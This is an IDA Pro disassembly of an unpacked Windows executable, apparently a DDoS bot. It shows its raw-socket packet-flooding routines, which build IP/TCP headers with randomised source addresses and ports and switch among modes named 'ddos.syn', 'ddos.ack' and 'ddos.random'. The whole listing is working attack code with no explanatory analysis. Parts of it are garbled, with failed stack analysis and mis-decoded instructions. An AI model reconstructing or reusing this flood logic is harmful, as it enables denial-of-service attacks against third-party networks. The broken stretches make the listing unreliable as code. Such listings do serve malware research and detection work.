;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	4E572E3FAEAC3E82F58DBF7E45724FF9

; File Name   :	u:\work\4e572e3faeac3e82f58dbf7e45724ff9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001E000 ( 122880.)
; Section size in file		: 0001E000 ( 122880.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:0040EC3Bo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_421040
		push	eax
		call	sub_4135AD
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_4110B0
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_409615
		push	[ebp+var_290]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		wait
		pop	edi
		pop	esi
start		endp ; sp-analysis failed



loc_4010B2:				; CODE XREF: sub_4013E9+40p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_42F680
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: seg000:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_42F7AC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_42F6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_42F708
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_42F708
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_42F708
		mov	[ebp-12h], ax
		call	sub_413609
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_42F708
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_42F704
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: seg000:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: seg000:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_413609
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_413609
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: seg000:004011C0j
					; seg000:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_42F708
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 0A70000h
		fisttp	dword ptr [ebp-17AF1BBBh]
		mov	ebp, 0D0066EDh
		push	dword ptr [ebp-44h]
		mov	eax, [ebp+18h]
		cdq
		push	dword ptr [ebp-48h]
		push	edx
		push	eax
		call	sub_413A60
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx
		mov	[ebp-4], bx
		call	sub_413609
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_42F708
		mov	[ebp-14h], ax
		call	sub_413609
		mov	edi, eax
		shl	edi, 10h
		call	sub_413609
		or	edi, eax
		push	edi
		call	ds:dword_42F708
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_42F704
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_42F708
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_413690
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_413690
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_408672
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_413690
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_413690
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_408672
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_413690
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_42F76C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0A70000h
		mov	ah, 8Bh
		inc	ebp
		call	near ptr 800858CEh
		cmp	al, 0Fh
		mov	edx, cs
; ---------------------------------------------------------------------------
		db 0FEh
		dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: seg000:0040137Dj
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset unk_42107C
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_409615
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: seg000:0040112Aj
					; seg000:004013CEj
		push	dword ptr [ebp-20h]
		call	ds:dword_42F7A0
		pop	esi


loc_4013DD:				; CODE XREF: seg000:0040110Dj
		call	ds:dword_42F668
		mov	eax, ebx


loc_4013E5:				; CODE XREF: seg000:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408503
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_413B1F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_413B1F
		mov	edi, eax
		call	sub_413609
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: seg000:0040EE23o
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_42F788
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_4014E1+1
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_42121C
		push	eax
		call	sub_4135AD
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_4110B0
		add	esp, 14h


loc_4014C5:				; CODE XREF: seg000:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-38h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_4014E1:				; CODE XREF: seg000:00401481j
		arpl	[ebp+46AF44Dh],	cx
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp-0Ch], ebx
		call	ds:dword_42F6E8
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401558+1
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_4211D0
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_4110B0
		add	esp, 14h


loc_40153C:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-38h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A70000h


loc_401558:				; CODE XREF: seg000:004014FAj
		lea	eax, [di-1B8h]
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 0F74815FFh, 0F8830042h, 8D5575FFh, 0FFFC4485h, 119C68FFh
		dd 0E8500042h, 12031h, 59DC7D39h, 57207559h, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FB10h, 8D14C483h, 0FFFC4485h, 66E850FFh, 0FF000080h
		dd 0BEE8C875h, 5900011Dh, 41E85759h, 8D0066EAh,	458D106Ah
		dd 0E85057E4h, 12064h, 660CC483h, 2E445C7h, 15FF5700h
		dd 42F708h, 0E6458966h,	0FE48858Dh, 0FF50FFFFh,	42F74815h
		dd 44358B00h, 890041F0h, 7D89E845h, 89D6FF08h, 0D6FFF845h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 0FD0453Bh, 19487h
		dd 41C6800h, 5C60000h, 42DF18h,	815FF45h, 390042F7h, 0A366D47Dh
		dd 42DF1Ah, 1C1D8966h, 660042DFh, 0DF1E3D89h, 5C60042h
		dd 42DF20h, 211D8880h, 660042DFh, 0DF223D89h, 30740042h
		dd 11FB0E8h, 0C1D88B00h, 0A6E808E3h, 300011Fh, 8E3C1D8h
		dd 11F9CE8h, 0C1D80300h, 92E808E3h, 300011Fh, 89016AD8h
		dd 42DF241Dh, 18EB5B00h, 0FE44B5FFh, 8AE8FFFFh,	5900006Fh
		dd 4815FF50h, 0A30042F7h, 42DF24h, 0A3E8458Bh, 42DF28h
		dd 11F60E8h, 0B99900h, 0F7000001h, 2C1588F9h, 0E80042DFh
		dd 11F4Dh, 100B999h, 0F9F70000h, 0DF2D1588h, 3AE80042h
		dd 9900011Fh, 0F0B9h, 4006800h,	0F9F70000h, 2E3D8966h
		dd 660042DFh, 0DF321D89h, 66420042h, 0DF301589h, 12E80042h
		dd 9900011Fh, 0FFB9h, 52F9F700h, 42DF3468h, 1F26E800h
		dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 0DF186800h
		dd 75FF0042h, 6C15FFFCh, 830042F7h, 874FFF8h, 0E90845FFh
		dd 0FFFFFECAh, 0FFFC75FFh, 42F7A015h, 9C15FF00h, 500042F6h
		dd 0FE48858Dh, 75FFFFFFh, 38685008h, 8D004211h,	0FFFC4485h
		dd 20068FFh, 0E8500000h, 123C6h, 3918C483h, 2075DC7Dh
		dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
		dd 0FFFFFE44h, 0F927E8h, 14C48300h, 0FC44858Dh,	0E850FFFFh
		dd 7E7Dh, 0E8C875FFh, 11BD5h, 0E8575959h, 66E858h, 0FC75FF95h
		dd 0F7A015FFh, 458B0042h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h
		dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh,	0C8858D50h
		dd 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 50004210h, 11DC4E8h
		dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0F8A2E8FFh, 0C4830000h
		dd 44858D14h, 50FFFFFCh, 7DF8E8h, 0C875FF00h, 11B50E8h
		dd 57595900h, 66E7D3E8h
		db 0, 11h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: seg000:0040EB2Co

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_421264
		push	eax
		call	sub_4135AD
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_4110B0
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_409615
		push	[ebp+var_10]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		cli
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_32		= word ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_42F680
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: sub_4018CA+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_42F7AC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_42F6E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	ds:dword_42F708
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_42F708
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_42F708
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_42F708
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0A70000h
		repne lea eax, [ebp+var_8]
		push	eax
		call	near ptr 0A70000h
		jmp	near ptr 8C048FDCh
; ---------------------------------------------------------------------------
		db 45h,	14h, 99h
		dd 52C075FFh, 2076E850h, 45030001h, 13F28BF8h, 4589FC75h
		dd 5D8966A8h, 1C0BE8DCh, 0B9990001h, 3E9h, 0C281F9F7h
		dd 3E8h, 815FF52h, 660042F7h, 0E8CC4589h, 11BEDh, 0E7C1F88Bh
		dd 1BE3E810h, 0F80B0001h, 815FF57h, 0F0042F7h, 4589C0B7h
		dd 0C458BD0h, 500C45FFh, 0F70415FFh, 146A0042h,	8BEC4589h
		dd 575FF045h, 888C4589h, 45C6905Dh, 15FF0691h, 42F708h
		dd 92458966h, 89EC458Bh, 458D8845h, 50206A88h, 0FF4C858Dh
		dd 0E850FFFFh, 11C18h, 57CC458Dh, 6C858D50h, 50FFFFFFh
		dd 11C07E8h, 4C858D00h,	6AFFFFFFh, 0DBE85034h, 6600006Bh
		dd 8DDC4589h, 5057E045h, 0FF4C858Dh, 0E850FFFFh, 11BE4h
		dd 57CC458Dh, 60858D50h, 50FFFFFFh, 11BD3E8h, 8D046A00h
		dd 0FFFF7485h, 0E85053FFh, 11B64h, 8D44C483h, 0FFFF4C85h
		dd 50286AFFh, 6B95E8h, 45896600h, 0E0458DEAh, 858D5057h
		dd 0FFFFFF4Ch, 1B9EE850h, 0C4830001h, 0B0458D14h, 5350106Ah
		dd 0FF4C858Dh, 286AFFFFh, 0F475FF50h, 0F76C15FFh, 0F8830042h
		dd 12774FFh, 458D1045h,	0E1E850F8h, 340066E4h, 3BFC458Bh
		dd 0F3C7FC6h, 0FFFEC88Ch, 0F8458BFFh, 73A8453Bh, 0FEBBE92Eh
		dd 15FFFFFFh, 42F69Ch, 0C858D50h, 68FFFFFFh, 4212A0h, 1A5BE850h
		dd 858D0001h, 0FFFFFF0Ch, 7AB7E850h, 0C4830000h, 8B03EB10h
		db 5Dh,	10h
; ---------------------------------------------------------------------------


loc_401B66:				; CODE XREF: sub_4018CA+78j
		push	[ebp+var_C]
		call	ds:dword_42F7A0
		pop	esi


loc_401B70:				; CODE XREF: sub_4018CA+5Bj
		call	ds:dword_42F668
		mov	eax, ebx


loc_401B78:				; CODE XREF: sub_4018CA+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_408503
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_413B1F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_413B1F
		mov	edi, eax
		call	sub_413609
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401BD6:				; DATA XREF: seg000:0040DF79o
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_41F044
		call	edi ; dword_41F044
		push	eax
		call	sub_4135FF
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_42F788
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_401C9F
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_421428
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_4110B0
		add	esp, 14h


loc_401C7F:				; CODE XREF: seg000:00401C5Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-0BCh]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		movsd


loc_401C9F:				; CODE XREF: seg000:00401C37j
		lea	ecx, [ebp-34h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi
		call	ds:dword_42F6E8
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401D1C+1
		call	ds:dword_42F69C
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_4213DC
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_4110B0
		add	esp, 14h


loc_401CFD:				; CODE XREF: seg000:00401CD8j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-0BCh]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_401D1C:				; CODE XREF: seg000:00401CB5j
		sub	[ebp-23B7Bh], cl
		call	dword ptr [eax-1]
		adc	eax, offset dword_42F748
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401D8C+1
		lea	eax, [ebp-440h]
		push	offset dword_4213A8
		push	eax
		call	sub_4135AD
		cmp	[ebp-0A8h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_4110B0
		add	esp, 14h


loc_401D6D:				; CODE XREF: seg000:00401D48j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-0BCh]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_401D8C:				; CODE XREF: seg000:00401D2Dj
		mov	ecx, 458D106Ah
		mov	esp, 97E85053h
		sbb	[ecx], al
		add	[ebx-3899F33Ch], al
		inc	ebp
		mov	esp, 0FF530002h
		adc	eax, offset dword_42F708
		mov	[ebp-42h], ax
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_42F748
		mov	[ebp-40h], eax
		mov	[ebp+8], ebx
		call	edi ; dword_41F044
		mov	[ebp-30h], eax


loc_401DC5:				; CODE XREF: seg000:00402006j
		call	edi ; dword_41F044
		sub	eax, [ebp-30h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-0B4h]
		ja	near ptr loc_402088+1
		push	28h
		mov	byte ptr [ebp-2Ch], 45h
		call	ds:dword_42F708
		cmp	[ebp-0B0h], ebx
		mov	[ebp-2Ah], ax
		mov	[ebp-28h], si
		mov	[ebp-26h], bx
		mov	byte ptr [ebp-24h], 80h
		mov	byte ptr [ebp-23h], 6
		mov	[ebp-22h], bx
		jz	short loc_401E38
		call	sub_413609
		mov	esi, eax
		shl	esi, 8
		call	sub_413609
		add	esi, eax
		shl	esi, 8
		call	sub_413609
		add	esi, eax
		shl	esi, 8
		call	sub_413609
		add	esi, eax
		push	1
		mov	[ebp-20h], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: seg000:00401E09j
		push	dword ptr [ebp-240h]
		call	sub_408619
		pop	ecx
		push	eax
		call	ds:dword_42F748
		mov	[ebp-20h], eax


loc_401E4E:				; CODE XREF: seg000:00401E36j
		mov	eax, [ebp-40h]
		cmp	[ebp-0B8h], ebx
		mov	[ebp-1Ch], eax
		jnz	short loc_401E6C
		call	sub_413609
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: seg000:00401E5Aj
		push	dword ptr [ebp-0B8h]


loc_401E72:				; CODE XREF: seg000:00401E6Aj
		call	ds:dword_42F708
		mov	[ebp-16h], ax
		call	sub_413609
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_42F708
